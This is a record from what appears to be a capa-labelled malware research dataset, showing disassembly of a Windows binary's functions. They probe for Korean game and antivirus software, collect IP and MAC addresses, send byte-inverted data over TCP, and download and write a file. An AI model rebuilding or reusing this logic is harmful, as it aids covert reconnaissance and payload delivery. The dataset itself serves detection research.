joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ae0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.004092b0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.004092b0
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push str._s_s
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401b86
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bb1
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401bdc
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c0a
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c38
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401c66
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.00405794
add esp, 0x414
ret
Function at 0x401de0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401ef3
cmp esi, ebx
je 0x401ef3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401e10
sub eax, edx
sar eax, 1
je 0x401ef3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.004092b0
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401e7a
cmp dword [0x419070], 3
jne 0x401e7a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x415fd0
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.004057a3
add esp, 0xc
jmp 0x401e8a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.004057a3
push 0x415fd4
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.00405af5
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401ef3
push eax
push 1
push 0x200
push edi
call fcn.00405de8
mov eax, dword [esp + 0x14]
push eax
call fcn.00405e7c
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00405794
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00405794
add esp, 0x210
ret

Function at 0x401fb0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.004092b0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x402062
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.004057a3
push 0x415ff4
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.00405af5
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x402047
push eax
push 1
push 0x200
push esi
call fcn.0040605a
mov eax, dword [esp + 0x14]
push eax
call fcn.00405e7c
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00405794
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.00405794
add esp, 0x210
ret
Function at 0x402950
Capabilities:
Delete file

Disassembly:
sub esp, 0x414
mov eax, dword [0x41804c]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.004092b0
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.004092b0
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401f10
test eax, eax
je 0x402a96
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x415c8c]
mov word [eax + 0x41a4b8], cx
add eax, 2
test cx, cx
jne 0x4029b0
xor eax, eax
jmp 0x4029d0
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x41a3b0], cx
add eax, 2
test cx, cx
jne 0x4029d0
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x41a430], cx
add eax, 2
test cx, cx
jne 0x4029f0
cmp dword [0x419070], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x41a4b0], ax
mov word [0x41a538], cx
mov dword [0x41a53c], 5
je 0x402a40
lea edx, [esp + 0x208]
push edx
push 1
jmp 0x402a4a
lea eax, [esp + 0x208]
push eax
push 0
call fcn.00403430
add esp, 8
push str.golfset.ini
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.004057a3
add esp, 0xc
lea edx, [esp + 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.00405794
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.00405794
add esp, 0x414
ret

Function at 0x402b10
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
xor ecx, ecx
mov word [ebp - 0x134], cx
push 0x11c
push 0
lea edx, [ebp - 0x130]
push edx
call fcn.004092b0
add esp, 0xc
mov dword [ebp - 0x130], 0x11c
lea eax, [ebp - 0x130]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x402bd2
mov ecx, dword [ebp - 0x12c]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x128]
mov dword [ebp - 4], edx
mov ax, word [ebp - 0x1c]
mov word [ebp - 0x134], ax
cmp dword [ebp - 8], 5
jne 0x402bac
cmp dword [ebp - 4], 2
jae 0x402ba3
cmp dword [ebp - 4], 1
jne 0x402bac
mov ecx, dword [ebp + 8]
mov dword [ecx], 3
cmp dword [ebp - 8], 6
jne 0x402bd2
cmp dword [ebp - 4], 0
jne 0x402bc3
mov edx, dword [ebp + 8]
mov dword [edx], 4
jmp 0x402bd2
cmp dword [ebp - 4], 1
jne 0x402bd2
mov eax, dword [ebp + 8]
mov dword [eax], 5
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00405794
mov esp, ebp
pop ebp
ret
Function at 0x402be0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004092b0
add esp, 0xc
cmp dword [0x419070], 3
jne 0x402c48
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x416040
push 0x104
lea eax, [ebp - 0x210]
push eax
call fcn.004057a3
add esp, 0xc
jmp 0x402c5a
lea ecx, [ebp - 0x210]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x210]
push eax
push 0x416044
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405794
mov esp, ebp
pop ebp
ret

Function at 0x402f20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x218], 0
mov dword [ebp - 0x21c], 0
mov dword [ebp - 0x214], 0xffffffff
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004092b0
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x210]
sub eax, 0x41
mov dword [ebp - 0x218], eax
lea ecx, [ebp - 0x21c]
push ecx
mov edx, dword [ebp - 0x218]
push edx
call fcn.00403180
add esp, 8
mov eax, dword [ebp - 0x21c]
push eax
call fcn.004032a0
add esp, 4
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0xffffffff
jne 0x402fca
xor eax, eax
jmp 0x402fdd
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x214]
push edx
call fcn.00402d60
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405794
mov esp, ebp
pop ebp
ret

Function at 0x4030f0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
mov dword [ebp - 0x24], 0
xor eax, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 8], 0
cmp dword [ebp + 8], 0xffffffff
jne 0x403123
jmp 0x403174
mov ecx, dword [ebp + 0xc]
xor edx, edx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], edx
push 0
push 0x200
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.0040d4d0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x24]
push ecx
lea edx, [ebp - 8]
push edx
mov eax, dword [ebp + 0x10]
shl eax, 9
push eax
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403430
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x40344a
mov eax, dword [ebp + 0xc]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x40346f
push 0x104
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x4160c8
push 0x104
mov edx, dword [ebp + 0xc]
push edx
call fcn.004057a3
add esp, 0xc
pop ebp
ret

Function at 0x403480
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x4160cc
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00405af5
add esp, 0xc
test eax, eax
je 0x4034b4
xor eax, eax
jmp 0x403595
mov dword [ebp - 0x14], 0
push 2
push 0
mov edx, dword [ebp - 8]
push edx
call fcn.0040663e
add esp, 0xc
mov eax, dword [ebp - 8]
push eax
call fcn.00406860
add esp, 4
mov dword [ebp - 0x14], eax
push 0
push 0
mov ecx, dword [ebp - 8]
push ecx
call fcn.0040663e
add esp, 0xc
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
push edx
call fcn.0040645c
add esp, 4
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.00405de8
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00405e7c
add esp, 4
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp - 0xc]
add edx, dword [ebp - 0x14]
push edx
call fcn.004035a0
add esp, 8
push 0x4160d4
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00405af5
add esp, 0xc
test eax, eax
je 0x40354e
xor eax, eax
jmp 0x403595
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x10]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 8]
push eax
push 1
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call fcn.0040605a
add esp, 0x10
mov eax, dword [ebp - 8]
push eax
call fcn.00405e7c
add esp, 4
mov dword [ebp - 4], 1
cmp dword [ebp - 0xc], 0
je 0x403592
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00406526
add esp, 4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x403f60
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x24], 2
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x28], 0x3a98
mov eax, dword [ebp - 0x28]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x403fe7
mov dword [ebp - 0x10], 0xffffffff
jmp 0x4040de
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp - 0x14]
push edx
push 0
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0x24]
push ecx
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0x6f
jne 0x404021
mov edx, dword [ebp - 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x1c]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x2c], 0x6f
jne 0x404036
cmp dword [ebp - 0x1c], 3
jb 0x403fba
cmp dword [ebp - 0x2c], 0
jne 0x4040cc
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 0
je 0x4040ca
mov edx, dword [ebp - 0x20]
cmp dword [edx + 0x34], 6
jne 0x4040bc
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0x1c], 0
je 0x4040bc
mov ecx, dword [ebp - 0x20]
add ecx, 0x2c
mov edx, dword [ebp + 8]
mov eax, dword [ecx]
mov dword [edx], eax
mov cx, word [ecx + 4]
mov word [edx + 4], cx
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp + 0xc]
mov al, byte [ecx + 4]
mov byte [edx + 3], al
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x10]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + 5]
mov byte [ecx + 2], dl
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
mov eax, dword [ebp + 0xc]
mov cl, byte [edx + 6]
mov byte [eax + 1], cl
mov edx, dword [ebp - 0x20]
mov eax, dword [edx + 0x10]
mov ecx, dword [eax + 0xc]
mov edx, dword [ebp + 0xc]
mov al, byte [ecx + 7]
mov byte [edx], al
jmp 0x4040ca
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x20], edx
jmp 0x404046
jmp 0x4040d7
mov dword [ebp - 0x10], 0xfffffffd
jmp 0x4040de
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x14], 0
je 0x4040f7
mov eax, dword [ebp - 0x14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 0x10]
mov esp, ebp
pop ebp
ret
Function at 0x404430
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x41c], 0
movzx eax, word [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00404600
add esp, 8
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0
je 0x404478
mov eax, dword [ebp - 0x41c]
jmp 0x4045e8
xor edx, edx
mov word [ebp - 0x418], dx
push 0x206
push 0
lea eax, [ebp - 0x416]
push eax
call fcn.004092b0
add esp, 0xc
xor ecx, ecx
mov word [ebp - 0x210], cx
push 0x206
push 0
lea edx, [ebp - 0x20e]
push edx
call fcn.004092b0
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov dword [ebp - 0x420], 0
jmp 0x4044e3
mov ecx, dword [ebp - 0x420]
add ecx, 1
mov dword [ebp - 0x420], ecx
cmp dword [ebp - 0x420], 5
jge 0x404548
mov edx, dword [ebp - 0x420]
imul edx, edx, 0x118
movzx eax, word [edx + 0x419e30]
test eax, eax
jne 0x404505
jmp 0x4044d4
lea ecx, [ebp - 0x418]
push ecx
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.00405820
add esp, 0xc
mov eax, dword [ebp - 0x420]
imul eax, eax, 0x118
add eax, 0x419e30
push eax
push 0x104
lea ecx, [ebp - 0x210]
push ecx
call fcn.004057a3
add esp, 0xc
jmp 0x4044d4
mov dword [ebp - 0x424], 0
jmp 0x404563
mov edx, dword [ebp - 0x424]
add edx, 1
mov dword [ebp - 0x424], edx
cmp dword [ebp - 0x424], 5
jge 0x4045ad
mov eax, dword [ebp - 0x424]
imul eax, eax, 0x118
movzx ecx, word [eax + 0x419e30]
test ecx, ecx
jne 0x404585
jmp 0x404554
push 1
movzx edx, word [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x424]
imul ecx, ecx, 0x118
add ecx, 0x419e30
push ecx
call fcn.00405260
add esp, 0x10
jmp 0x404554
push 0x41abc0
push 0x104
lea edx, [ebp - 0x418]
push edx
call fcn.004057a3
add esp, 0xc
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4045e2
mov dword [ebp - 0x41c], 2
mov eax, dword [ebp - 0x41c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405794
mov esp, ebp
pop ebp
ret
Function at 0x404890
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c0
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 8], eax
xor eax, eax
mov word [ebp - 0x9c0], ax
push 0x7fe
push 0
lea ecx, [ebp - 0x9be]
push ecx
call fcn.004092b0
add esp, 0xc
lea edx, [ebp - 0x9c0]
mov dword [ebp - 0x19c], edx
cmp dword [ebp + 0x14], 0
je 0x4048dd
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x19c], eax
xor ecx, ecx
mov edx, dword [ebp - 0x19c]
mov word [edx], cx
mov dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1b8], 0
mov dword [ebp - 0x1b4], 0
lea eax, [ebp - 0x198]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x404928
xor eax, eax
jmp 0x404a19
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp + 0x10]
cmp dword [edx], 0xffffffff
jne 0x404948
xor eax, eax
jmp 0x404a19
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jne 0x404988
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x1bc], eax
push 2
push 4
lea edx, [ebp - 0x1bc]
push edx
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jne 0x404995
jmp 0x4049ed
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov dword [ebp - 0x1a8], eax
mov ecx, 2
mov word [ebp - 0x1ac], cx
movzx edx, word [ebp + 0xc]
push edx
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x1aa], ax
push 0x10
lea eax, [ebp - 0x1ac]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x4049e3
jmp 0x4049ed
mov dword [ebp - 0x1b8], 1
cmp dword [ebp - 0x1b8], 0
jne 0x404a13
mov eax, dword [ebp + 0x10]
cmp dword [eax], 0
je 0x404a13
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp + 0x10]
mov dword [eax], 0
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405794
mov esp, ebp
pop ebp
ret
Function at 0x404c50
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
cmp dword [eax], 0
jne 0x404c84
jmp 0x404d40
mov dword [ebp - 0x18], 0
jmp 0x404c96
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [ebp + 0x10]
jge 0x404cb3
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x18]
movzx ecx, byte [eax]
not ecx
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x18]
mov byte [edx], cl
jmp 0x404c8d
mov eax, dword [ebp + 0x10]
add eax, 7
push eax
call fcn.00406aaf
add esp, 4
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], ecx
movzx edx, word [ebp + 0x10]
add edx, 5
mov eax, dword [ebp - 0xc]
mov word [eax], dx
mov ecx, dword [ebp - 0xc]
add ecx, 2
mov edx, dword [str.AS101]
mov dword [ecx], edx
mov al, byte [0x419078]
mov byte [ecx + 4], al
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0xc]
add eax, 7
push eax
call fcn.00409e70
add esp, 0xc
mov ecx, dword [ebp + 0x10]
add ecx, 7
mov dword [ebp + 0x10], ecx
push 0
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x404d35
mov eax, dword [ebp - 4]
cmp eax, dword [ebp + 0x10]
je 0x404d39
jmp 0x404d40
mov dword [ebp - 0x14], 1
cmp dword [ebp - 0xc], 0
je 0x404d58
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x20]
push edx
call fcn.00406e7a
add esp, 4
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret
Function at 0x405600
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1014
call fcn.0040fdc0
mov eax, dword [0x41804c]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0x1014], 0
push 0x416184
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00405af5
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x40564a
xor eax, eax
jmp 0x4056e1
push 0
push 4
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x405667
xor eax, eax
jmp 0x4056e1
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x4056c1
push 0
push 0x1000
lea eax, [ebp - 0x1010]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_recv]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405697
jmp 0x4056c1
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
lea edx, [ebp - 0x1010]
push edx
call fcn.0040605a
add esp, 0x10
mov eax, dword [ebp - 0x1014]
add eax, dword [ebp - 4]
mov dword [ebp - 0x1014], eax
jmp 0x405667
mov ecx, dword [ebp - 8]
push ecx
call fcn.00405e7c
add esp, 4
mov edx, dword [ebp - 0x1014]
cmp edx, dword [ebp - 0xc]
jae 0x4056dc
xor eax, eax
jmp 0x4056e1
mov eax, 1
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00405794
mov esp, ebp
pop ebp
ret

Function at 0x405794
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41804c]
jne 0x40579e
repz ret
jmp fcn.00407118